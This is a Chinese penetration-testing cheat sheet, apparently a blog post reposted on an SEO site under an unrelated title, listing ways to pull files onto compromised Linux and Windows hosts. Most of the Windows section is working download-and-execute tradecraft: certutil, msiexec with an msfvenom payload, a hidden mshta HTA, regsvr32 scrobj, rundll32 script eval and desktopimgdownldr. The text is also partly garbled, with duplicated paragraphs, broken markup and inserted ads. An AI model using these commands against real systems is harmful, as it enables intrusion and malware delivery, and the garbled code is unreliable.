php代碼下載(php寫代碼軟件)
原文:https://www.cnblogs.com/-mo-/p/12109717.html
原文:https://www.cnblogs.com/-mo-/p/12109717.html
1. 簡介
在我們滲透測試的過程中,通常會需要向目標主機傳送一些文件,來達到提權(quán),維持控制等目的。因此當不方便進行直接傳輸時,同時目標主機是能有網(wǎng)絡連接的,那么此時就可以通過本地下載這種方法來達到文件傳輸?shù)哪康?。此篇文章,我會對互?lián)網(wǎng)上針對 win 與 linux 大部分的下載指令來做一個匯總,可能會有疏漏,但匯總的都是經(jīng)常會用的。
在我們滲透測試的過程中,通常會需要向目標主機傳送一些文件,來達到提權(quán),維持控制等目的。因此當不方便進行直接傳輸時,同時目標主機是能有網(wǎng)絡連接的,那么此時就可以通過本地下載這種方法來達到文件傳輸?shù)哪康?。此篇文章,我會對互?lián)網(wǎng)上針對 win 與 linux 大部分的下載指令來做一個匯總,可能會有疏漏,但匯總的都是經(jīng)常會用的。
這款工具功能很豐富,可以充當某種功能完備的 GUI 下載管理器,它擁有一款理想的下載管理器所需要的所有功能,比如它可以恢復下載,可以下載多個文件,出現(xiàn)某個連接問題后,可以重新嘗試下載,你甚至可以管理最大的下載帶寬。
這款工具功能很豐富,可以充當某種功能完備的 GUI 下載管理器,它擁有一款理想的下載管理器所需要的所有功能,比如它可以恢復下載,可以下載多個文件,出現(xiàn)某個連接問題后,可以重新嘗試下載,你甚至可以管理最大的下載帶寬。
直接下載:
wget http://www.sample-videos.com/video/mp4/big.mp4
后臺下載:
展開全文
wget -b http://www.sample-videos.com/video/mp4/big.mp4
如果互聯(lián)網(wǎng)連接出現(xiàn)中斷,恢復下載:
wget -c http://www.sample-videos.com/video/mp4/big.mp4
從某個密碼保護的 ftp 軟件庫下載文件:
wget --ftp-user=user_name --ftp-password=Give_password Download-url-address
2.2 Curl
Curl 是另一種高效的下載工具,它可以用來上傳或下載文件,只要使用一個簡單的命令。它支持暫停和恢復下載程序包,并支持數(shù)量最多的 Web 協(xié)議,可預測下載完成還剩余多少時間,可通過進度條來顯示下載進度。它是所有 Linux 發(fā)行版的內(nèi)置工具。
Curl 是另一種高效的下載工具,它可以用來上傳或下載文件,只要使用一個簡單的命令。它支持暫停和恢復下載程序包,并支持數(shù)量最多的 Web 協(xié)議,可預測下載完成還剩余多少時間,可通過進度條來顯示下載進度。它是所有 Linux 發(fā)行版的內(nèi)置工具。
直接下載:
curl -o um.mp4 http://www.sample-videos.com/video/mp4/big.mp4
借助 - o 選項,提供名稱,下載文件會以該名稱保存;如使用 - O 選項,文件就會以原始名稱保存。
2.3 Axel
這是 wget 的出色替代者,是一款輕量級下載實用工具。它實際上是個加速器,因為它打開了多路 http 連接,可下載獨立文件片段,因而文件下載起來更快速。
這是 wget 的出色替代者,是一款輕量級下載實用工具。它實際上是個加速器,因為它打開了多路 http 連接,可下載獨立文件片段,因而文件下載起來更快速。
apt-get install axel
直接下載:
axel http://www.sample-videos.com/video/mp4/big.mp4
2.4 Aria2
這是一種開源命令行下載加速器,支持多個端口,你可以使用最大帶寬來下載文件,是一款易于安裝、易于使用的工具。
apt-get install aria2
直接下載:
aria2c http://www.sample-videos.com/video/mp4/big.mp4
2.5 Perl
Perl 是一門很吊的語言,使用它基本可以實現(xiàn)任何事情,用它實現(xiàn)文件下載也很簡單。
#!perl
#!/usr/bin/perl
use LWP::Simple;
getstore( "http://domain/file", "file");
執(zhí)行腳本文件是這樣:
perl test.pl
2.6 Python
Python 也是很受歡迎的主流腳本語言,代碼清晰且簡潔:
#!python
#!/usr/bin/python
import urllib2
u = urllib2.urlopen( 'http://domain/file')
localFile = open( 'local_file', 'w')
localFile.write(u.read)
localFile.close
2.7 Ruby
Ruby 是一個面對對象的語言,Metasploit 框架就是用它來實現(xiàn)的,當然他也可以實現(xiàn)像下載文件這樣的小任務。微信搜索公眾號:前端技術(shù)編程,回復:前端 領(lǐng)取資料 。
Ruby 是一個面對對象的語言,Metasploit 框架就是用它來實現(xiàn)的,當然他也可以實現(xiàn)像下載文件這樣的小任務。微信搜索公眾號:前端技術(shù)編程,回復:前端 領(lǐng)取資料 。
#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start( "www.domain.com") { |http|
r = http.get( "/file")
open( "save_location", "wb") { |file|
file.write(r.body)
}
}
執(zhí)行腳本文件是這樣;
ruby test.rb
2.8 PHP
PHP 作為一種服務端腳本,也可以實現(xiàn)下載文件這種功能。
#!/usr/bin/php
?php
$data= @file( "http://example.com/file");
$lf= "local_file";
$fh= fopen( $lf, 'w');
fwrite( $fh, $data[0]);
fclose( $fh);
?
執(zhí)行腳本文件是這樣:
php test.php
2.9 FTP
一般情況下攻擊者使用 FTP 上傳文件需要很多交互的步驟,下面這個 bash 腳本,考慮到了交互的情況,可以直接執(zhí)行并不會產(chǎn)生交互動作。
一般情況下攻擊者使用 FTP 上傳文件需要很多交互的步驟,下面這個 bash 腳本,考慮到了交互的情況,可以直接執(zhí)行并不會產(chǎn)生交互動作。
ftp 127.0.0.1
username
password
get file
exit
當然根據(jù)實際情況也可以進入交互終端:
ftp 192.168.3.2
輸入用戶名和密碼后
lcd E:\file # 進入E盤下的file目錄
cdwww # 進入服務器上的www目錄
get access.log # 將服務器上的access.log下載到E:\file
2.10 Netcat
攻擊者的電腦上輸入:
cat file | nc -l 1234
這個命令會將 file 的內(nèi)容輸出到本地的 1234 端口中,然后不論誰連接此端口,file 的內(nèi)容將會發(fā)送到連接過來的 IP。
這個命令會將 file 的內(nèi)容輸出到本地的 1234 端口中,然后不論誰連接此端口,file 的內(nèi)容將會發(fā)送到連接過來的 IP。
目標電腦上的命令:
nc host_ip 1234 file
這條命令將連接攻擊者的電腦,接受 file 內(nèi)容保存。
3. Windows3.1 Powershell
PowerShell 是一種 winodws 原生的腳本語言,對于熟練使用它的人來說,可以實現(xiàn)很多復雜的功能。
下面這兩條指令實現(xiàn)了從 Internet 網(wǎng)絡下載一個文件。
$p= New-Object System.Net.WebClient
$p.DownloadFile( "http://domain/file""C:\%homepath%\file")
3.2 IPC$
copy \192.168.3.1\c$\test.exe E:\file
cmd.exe /k \webdavserver\folder\batchfile.txt
3.3 Certutil
可以應用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2
certutil -urlcache -split -f http://192.168.3.1/test.exe file.exe
certutil -urlcache -split -f http://192.168.3.1/test.exe delete #刪除緩存
certutil -verifyctl -split -f -split http://192.168.3.1/test.exe
#此條命令,會將原文件下載成為臨時 bin 文件,把名字改回來一樣可以正常運行
文件下載并執(zhí)行如下:
certutil -urlcache -split -f http://site.com/a a.exe a.exe del a.exe certutil -urlcache -split -f http://192.168.254.102:80/a delete
3.4 Visual Basic
在 1998 年 Visual Basic 最終標準在 windows 上確定。下面的代碼可以實現(xiàn)下載文件,雖然它的長度比 Powershell 長多了。微信搜索公眾號:架構(gòu)師指南,回復:架構(gòu)師 領(lǐng)取資料 。
在 1998 年 Visual Basic 最終標準在 windows 上確定。下面的代碼可以實現(xiàn)下載文件,雖然它的長度比 Powershell 長多了。微信搜索公眾號:架構(gòu)師指南,回復:架構(gòu)師 領(lǐng)取資料 。
Set args = W.Arguments
Url = "http://domain/file"
dim xHttp: Set xHttp = createobject( "Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject( "Adodb.Stream")
xHttp.Open "GET", Url, False
xHttp.Send
with bStrm
. type= 1 '
.open
.write xHttp.responseBody
.savetofile " C:\%homepath%\file", 2 '
end with
在 windows 中 C 指令可以允許你執(zhí)行 VBS 腳本文件或者對 腳本做一些設(shè)置。在 windows 7 中這個指令并不是必須要用到。但是在 windows XP 中需要使用這條指令,如下所示:
在 windows 中 C 指令可以允許你執(zhí)行 VBS 腳本文件或者對 腳本做一些設(shè)置。在 windows 7 中這個指令并不是必須要用到。但是在 windows XP 中需要使用這條指令,如下所示:
c test.vbs
3.5 Tftp
在 Windows Vista 以及以后的版本中默認有 FTP,可以使用以下命令運行:
上傳:
tftp -i IP地址 PUT C:\%homepath%\file 遠程存放位置
下載:
tftp -i IP地址 GET C:\%homepath%\file 本地存放位置
3.6 Bitsadmin
Bitsadmin 是 Windows 命令行工具,用戶可以使用它來創(chuàng)建下載或上傳的任務。只能命令下載到指定路徑上,win7 以上:
bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.203.140/b.ps1""E:\\phpstudy_pro\\WWW\\b.ps1"
bitsadmin /rawreturn /transfer getfile http://192.168.3.1/test.txt E:\file\test.txt
bitsadmin /rawreturn /transfer getpayload http://192.168.3.1/test.txt E:\file\test.txt
3.7 msiexec
msiexec /q /i http://192.168.3.1/calc.png
calc.png:
msfvenom -f msi -p windows/ execCMD=calc.exe cacl.png
3.8 IEExec
C:\Windows\Microsoft.NET\Framework\v2.0.50727 caspol -s off
C:\Windows\Microsoft.NET\Framework\v2.0.50727 IEExec http://192.168.3.1/test.exe
3.9 Python
C:\python27\python.exe -c “import urllib2; execurllib2.urlopen(‘http://192.168.3.1/test.zip’). read;”
3.10 Mshta
mshta http://192.168.3.1/run.hta
run.hta 內(nèi)容如下:
HTML
meta http-equiv= "Content-Type"content= "text/html; charset=utf-8"
HEAD
language= "VB"
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject( "W.Shell")
objShell.Run "cmd.exe /c net user"http:// 這里填寫命令
self.close
/
body
demo
/body
/HEAD
/HTML
mshta vb:Close(Execute( "GetObject("":http://webserver/payload.sct"")"))
3.11 Rundll32
依賴于 W.shell 這個組件:
rundll32.exe java: "\..\mshtml,RunHTMLApplication ";document.write;h=new%20ActiveXObject( "WinHttp.WinHttpRequest.5.1");h.Open( "GET", "http://127.0.0.1:8081/connect", false);try{h.Send;b=h.ResponseText; eval(b);}catch(e){new%20ActiveXObject( "W.Shell").Run( "cmd /c taskkill /f /im rundll32.exe",0, true);}%
3.12 Regsvr32
Regsvr32 命令用于注冊 COM 組件,是 Windows 系統(tǒng)提供的用來向系統(tǒng)注冊控件或者卸載控件的命令,以命令行方式運行。
WinXP 及以上系統(tǒng)的 regsvr32.exe 在 windows\system32 文件夾下;2000 系統(tǒng)的 regsvr32.exe 在 winnt\system32 文件夾下。
regsvr32 /u /s /i:http://192.168.3.1/test.data scrobj.dll
test.data 內(nèi)容:
還可以利用
https://github.com/CroweCybersecurity/ps1encode 生成 sct 文件:
regsvr32 /u /s /i:http://192.168.3.1/test.sct scrobj.dll
3.13 Windows Share
Windows shares 可以加載一個驅(qū)動器,然后用命令來復制文件。
加載遠程驅(qū)動:
net use x: \\127.0.0.1\share /user:example.com\userID myPassword
3.14 格式轉(zhuǎn)換
當需要把一個 exe 文件放到目標計算機上時,Nishang 可以使用 PowerShell 允許你把一個 exe 轉(zhuǎn)換成 hex,然后把 hex 再轉(zhuǎn)換成原來的 exe 文件:
當需要把一個 exe 文件放到目標計算機上時,Nishang 可以使用 PowerShell 允許你把一個 exe 轉(zhuǎn)換成 hex,然后把 hex 再轉(zhuǎn)換成原來的 exe 文件:
把 exe 轉(zhuǎn)成 hex 文件輸入:
PS .\ExetoText.ps1 evil.exe evil.txt
打開 evil.txt 文件,復制內(nèi)容,然后通過 RDP 的剪貼板復制進目標計算機,把 hex 文件還原成 exe 文件輸入:
PS .\TexttoExe.ps1 evil.text evil.exe
3.15 其它
1.MSXSL.EXE
msxsl.exe 是微軟用于命令行下處理 XSL 的一個程序,所以通過他,我們可以執(zhí)行 Java 進而執(zhí)行系統(tǒng)命令。
2.pubprn.vbs
在 Windows 7 以上版本存在一個名為 PubPrn.vbs 的微軟已簽名 WSH 腳本,其位于
C:\Windows\System32\Printing_Admin_s\en-US
3.esentutl.exe/extrac32.exe
esentutl.exe /y "\\172.16.249.149\share mimikatz_trunk.zip"/d "C:\Users\Public\mimikatz_trunk.zip"/0
extrac32.exe /Y /C \\172.16.249.149\share\test.txt C:\Users\Public\test.txt
4.desktopimgdownldr.exe
desktopimgdownldr.exe 位于 Win10 的 system32 文件夾中,原本用于設(shè)置鎖定屏幕或桌面背景圖像的。
普通用戶可以用:
set"SYSTEMROOT=C:\ProgramData" cmd /c desktopimgdownldr.exe /lockscreenurl:http://url/xxx.exe /eventName:desktopimgdownldr
這樣來下載文件。
可以把 C:\ProgramData 來改成一個普通用戶可寫的目錄。
下載的文件存放于:
C:\ProgramData\Personalization\LockScreenImage\x_%random%.exe.
管理員用戶會多寫一個注冊表項,所以管理員最好的命令是:
set"SYSTEMROOT=C:\ProgramData\" cmd /c desktopimgdownldr.exe /lockscreenurl:https://url/file.exe /eventName:desktopimgdownldr reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP /f
END
官方站點:www.linuxprobe.com
Linux命令大全:www.linuxcool.com
(新群,火熱加群中……)
掃描二維碼推送至手機訪問。
版權(quán)聲明:本文由飛速云SEO網(wǎng)絡優(yōu)化推廣發(fā)布,如需轉(zhuǎn)載請注明出處。